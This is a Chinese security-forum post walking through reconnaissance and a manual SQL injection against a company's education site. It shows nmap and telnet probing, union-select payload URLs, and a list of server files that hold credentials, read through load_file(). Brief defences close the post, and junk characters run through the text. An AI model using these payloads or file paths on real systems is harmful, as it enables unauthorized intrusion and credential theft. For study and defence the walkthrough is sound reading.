找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
1 {6 B+ _& X% i& y9 h9 I( M一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
$ t- w4 G5 r/ ]第一步:获取需要的信息
/ E1 F: k, n6 S4 i) i: D$ A6 a# ~: P由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" _% K2 X! e4 @- ~7 j  i( s注:以下为保护特用XXX代替敏感信息
: T9 ~) e  q2 X6 C, N顺手先PING了一下他们的域名:
) ^2 F, M( X4 g% o" g& z4 E- U7 fping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
5 l/ X$ r: x9 W" |64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
/ S- `" n! c# m" Y# o3 H顺便了解一下TTL,学好基础知识才能一路顺风:
9 u  D* H# [# [% w- c. \6 A' q# gTTL:(Time To Live ) 生存时间- [3 q) ^* X8 K3 a4 Q; n3 Y3 U
指定数据包被路由器丢弃之前允许通过的网段数量。. c& g  [; {4 ^# A; V2 `7 ^
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
7 X! V4 G) O9 d1 c1 a  M使用PING时涉及到的 ICMP 报文类型
& s% S# [1 L5 B. F0 R, {' @一个为ICMP请求回显(ICMP Echo Request)
. D0 k, Z, g4 Y% T一个为ICMP回显应答(ICMP Echo Reply)
( v" Z$ U- Q! j3 v% a4 a( e; ?TTL 字段值可以帮助我们识别操作系统类型。
6 ]  J  S' S9 y$ K3 w7 f0 U- XUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
7 J0 i. |) I0 rCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, G# d% @1 o1 z. I4 `5 C( Y
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. X- T$ f& Q# V* {7 Z; I
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
% S/ z% s8 o% V) G# h当然,返回的TTL值是相同的1 x1 l4 D& Q& k$ ~: C
但有些情况下有所特殊+ m" N' @, b, x% c6 _8 r
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
: y/ p: Y; r" Z. P2 L7 s( J' LFreeBSD 4.1, 4.0, 3.4;+ U/ ~+ u- Z6 L; T! x* W
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
4 G9 [' F' g; v5 J+ AOpenBSD 2.6, 2.7,
) R5 o9 ]! J. J$ h) O+ ^NetBSD
* H/ z4 y( J6 t2 [  yHP UX 10.20
, k, v' P) W) {$ P% {) BICMP 回显应答的 TTL 字段值为 255
: T# {& c3 l$ T" u: Z% i# \Windows 95/98/98SE" A& Z$ {5 V3 O  \4 ^
Windows ME2 }& E6 i" S2 Z
ICMP 回显应答的 TTL 字段值为 32
7 v# T  ?7 S& n' w! o( Y; `Windows NT4 WRKS
4 @5 G- ^0 [: \7 cWindows NT4 Server
* ~9 v: c0 q% A7 a7 r8 f9 hWindows 20001 C$ Z5 p6 O. r/ ~, T, O! M/ F
Windows XP8 D) G) o2 y, p; g) y& g3 f
ICMP 回显应答的 TTL 字段值为 128
- @  u# M& X6 c% n# o' |' k这样,我们就可以通过这种方法来辨别操作系统
, Q5 ~! W8 x0 O: |- K0 b' ?1 ZTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2551 q3 X( G$ B& ^" b& Q9 ]6 F  z
用NMAP扫描一下:
/ `/ B% Y4 l3 [+ `. |0 e' X5 enmap -sT -O XXX.XXX.XXX.XXX7 e1 H' H- Z2 \8 g' }; P
如果没有装WinPcap则会弹出提示:
  ]5 r  T5 g6 ?& z0 Q3 V# cWARNING: Could not import all necessary WinPcap functions.  You may need to upgr5 f8 Y$ q- O( ?+ m2 J
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(0 L" i8 ]9 r. u' C- K2 G( _/ G8 p
) mode — Nmap may not function completely
4 S0 y1 Q6 n; b+ ~4 b8 Z+ {TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
( G2 E# ?$ ^# u' b  s% j& Zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win( }* G) p; ?0 W
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an: F$ \7 u% p) Q
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v+ ^& h' Z$ o: P  w
ersions, you may be able to take iphlpapi.dll from another system and place it i
( _% [, w& |$ P4 `+ rn your system32 dir (e.g. c:\windows\system32).2 U3 C2 p8 r1 e" B5 J
QUITTING!
; a# j! |, ^. N* y+ K  o& _到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
9 c" ~: C7 t# _安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:8 X) M3 s5 g4 f9 h& A) ?) `
Interesting ports on XXX.XXX.XXX.XXX:" q# m& Y$ ?0 K+ T9 x, }
Not shown: 986 closed ports+ g  }7 D5 c7 O" T0 C& ~: h
PORT     STATE    SERVICE
% R3 ]2 s2 I& B4 D' e; i9 K" L/ C21/tcp   open     ftp
% J" d! [* d/ J8 u22/tcp   open     ssh
! O0 h. [: q& b2 P- ?23/tcp   open     telnet  [6 M4 U, ]6 B4 f
80/tcp   open     http; j5 k+ M+ X9 o4 C; D8 \: L
111/tcp  open     rpcbind
* y4 {( @- r5 ~135/tcp  filtered msrpc
8 o! l, k2 n, r+ y+ ~% e139/tcp  filtered netbios-ssn6 [" x( j6 ]) b9 _: B# b" y
445/tcp  filtered microsoft-ds/ Q* Q; P/ Z! n  ]8 F* v# S7 k0 ^5 R
513/tcp  open     login) b" V+ O; w7 C: l) h% N( j( r8 g
514/tcp  open     shell
- L/ O1 j. R8 D+ \5 e5 F: ?) F593/tcp  filtered http-rpc-epmap8 D2 j" ~* {" R) ?8 e! p' s/ c1 Z
1720/tcp filtered H.323/Q.931
. B& h' r  V" M3306/tcp open     mysql2 A, Z& g/ s" q& P
4444/tcp filtered krb5244 d" {6 J, N' i5 s; X- K
Device type: WAP
  l, T6 Q" \- ?  aRunning: Linux 2.4.X' m% B) t4 v1 u3 k/ Z
OS details: DD-WRT (Linux 2.4.35s)
7 L, H/ O9 ]* Z0 L% V6 u. TNetwork Distance: 13 hops
, x) r& d+ H$ l4 b3 V( D# d- l1 q看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:* R; w% ?* h2 W- g2 q- C
login as:
! [1 V9 O0 I& e7 ^! lTelnet23端口也是开着的,用telnet 命令链接一下:
# N+ _# [3 K4 u0 u; ^! Ctelnet XXX.XXX.XXX.XXX
. l( h: |2 y. z# e$ a5 Y3 G提示:
5 K. g1 K$ @4 k. wRed Hat Enterprise Linux Server release 5.2 (Tikanga)
" Y' F- x" y) l$ cKernel 2.6.18-92.el5PAE on an i686$ t4 F4 @' B: M+ @" \6 M
login:
8 ]3 [) t+ M! e3 D. X, }* _: s获取HTTP头信息:) l& ~9 k# L. F& {5 r# B4 X
在本地执行如下PHP代码
' l3 _7 F6 Q, v# h. G1 C<?php. l% ]/ J- H* Q" U% o' [* @+ F' [
$url = ‘XXX.XXX.XXX.XXX’;" B6 z" ?$ L9 |6 l6 B  [+ i
print_r(get_headers($url));- d% B' g+ B( t$ f9 I+ j
print_r(get_headers($url, 1));* O4 t$ V1 Y( T9 G7 W$ P+ O
?>' p+ `. Q; ]# `) R8 g
将以上代码保存为PHP文件,执行:
! C& ~- m$ O6 p5 c  qArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )6 Z$ X$ B5 G- `) j! a3 Q9 e
现在可以得出结论:7 O+ T! N9 Y) Z* p( ?7 g
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)5 L* N1 K$ ~; X3 i" j
内核版本:Kernel 2.6.18-92.el5PAE on an i686; b1 ]* M& D6 }2 k. Y
WEB服务器版本:nginx/0.7.61# ?$ A$ M( @  m, F1 H2 ~' i( I. _
第二步,开始测试寻找漏洞
1 C" x9 y2 d/ S! t" f( t分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。8 a, `. X+ P" E* a6 |2 |
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
/ L0 K) m' M: Z. i4 w! D2、测试方法:在地址后加 and 1=1 和 and 1=2 测试4 K7 J4 I/ B% A0 L1 B
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
: z. B: ~! n3 l( o. v% x, ihttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
2 N$ M3 q2 b. @4 |恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
0 n- m& ^3 j! K$ \3、手工注入:
- b- R9 \5 W9 p4 O6 A注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。$ J6 n* N: d! v5 m, J
3.1 猜测当前表字段数
4 f: t, f% B$ R* r- a8 W2 {  Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
$ s9 b& l1 ^  [此处猜测有个简单的算法,都是有技巧的吗,呵呵
9 `8 ~5 u6 h. X+ J算法简单如下:% U0 \/ C5 [5 N* o8 k, Q% _7 a
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
8 f$ X9 h" e3 C% j) L5 z6 R第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
6 q8 e2 D0 [$ ?需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。5 t, C+ v0 B1 W+ ]# o7 L
以此来判断,是否过界,配合取中算法猜出字段数。( G: c$ P: `! q6 o
举例:( u. E& S: x- G/ l( n
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常6 O/ {2 |$ Q9 _6 E
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
8 z3 p( c; X, q6 O) S此时3则为我们要找的字段数。$ |! O! q+ N& w- e9 U
3.2 配合union联合查询字段在页面所位置
: c8 c8 x1 U5 D' e$ `/ o我们已经知道了字段数为3,此时则可以做如下操作:
! A$ O, l  C* [/ r2 i1 Hhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
7 G* z7 n  ]2 p, r
6 w6 Z  B+ ]( a8 |0 J6 X3 F* R1 I这样就可以测试到哪些字段在页面上有所显示了,如图:0 M% M2 r: J( Q/ l8 `% c
' ~$ R2 @5 y# l) ?( X
3.3 查敏感信息
2 D4 ]- J2 E* B这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
: d) ~& C* C! o% j, ]5 Mhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()% J9 Z) H& w/ C* @2 L/ A6 \
3.3.1 先查数据库用户、数据库名,以备后用,如图:) \; C9 \6 @, `6 E

6 q% t9 N- C/ L# Y4 n得到数据库用户为root、数据库名为DBxx;
0 b" z+ ]) f' S* J3.3.2 查配置文件
) Y& A4 H2 v: x& f7 v8 K$ Y查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
; V7 }0 w* p; d+ E% [2 s查看文件有一定的条件限制:
7 K' T6 D; x" c欲读取文件必须在服务器上! A) a5 I4 ?: m( G, r
必须指定文件完整的路径0 O6 H9 n" p) U# l( _2 D
必须有权限读取并且文件必须完全可读
. ^* i9 v' v0 `6 y( `# J欲读取文件必须小于 max_allowed_packet
' s. ~" e5 M+ ]& n( F0 r0 xMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。/ K3 b) w; J$ v6 s% @1 ?2 C
常用的一些:+ ^6 j: \  m2 W3 R5 p
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  W, Z7 l+ F! I  i7 X
/usr/local/apache2/conf/httpd.conf) d9 T% t) I4 t
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# I; T$ G' b; _! C% _/usr/local/app/php5/lib/php.ini //PHP相关设置
  g4 a2 B) {* g, @4 N/etc/sysconfig/iptables //从中得到防火墙规则策略# {8 ]" s# N) T( \
/etc/httpd/conf/httpd.conf // apache配置文件1 {, i) b( w, N! f' P& A
/etc/rsyncd.conf //同步程序配置文件
$ x6 Z2 y+ V( Q2 Q/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
3 l. s) {* _8 l; o& n; f. j3 O0 z2 B/etc/my.cnf //mysql的配置文件* O! W4 ^. e& a* a3 ]  G5 e* u. Q
/etc/redhat-release //系统版本2 R) [* K( E9 K/ N: j# Y
/etc/issue1 V+ z7 d7 r# \* |3 W" e
/etc/issue.net
. J- y$ y; ^) \6 N8 \- \5 T1 V) U$ ~( T' Lc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
3 V4 |: t' T6 X7 b3 U2 w* p' |c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
% v+ c+ @' f; Jc:\Program Files\Serv-U\ServUDaemon.ini( H* l% x' q; t( k  [+ U* c
c:\windows\my.ini //MYSQL配置文件
+ h+ `9 s" M$ U9 ^% s1 T3 rc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
' G' f' U* Z+ k/ b! u. F2 z等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,3 ~& O, O0 E1 C6 K. G9 \+ K
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码2 M. n( C+ B4 |, v9 P. y
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
: ]: \/ a8 l$ a) h6 y* Mc:\Program Files\RhinoSoft.com\ServUDaemon.exe
4 w. N  k5 X9 L9 F0 }2 O+ t9 eC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
/ J# U7 P2 q* l; N, K  c5 ^//存储了pcAnywhere的登陆密码
: l" K: _3 E- w" s% N由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。, t* M- u7 l6 b# u% H7 t2 j4 c
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。- @$ m1 [3 |+ l* M) x; ~) `
最后:防范措施: ]# ^# a( m/ C
1、修复PHP注入漏洞;
9 y* Q1 b: N7 @/ E! d& E; [! [7 n2、Mysql使用普通权限的用户;0 X* ^5 Q9 s; n* C, o) L3 @
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表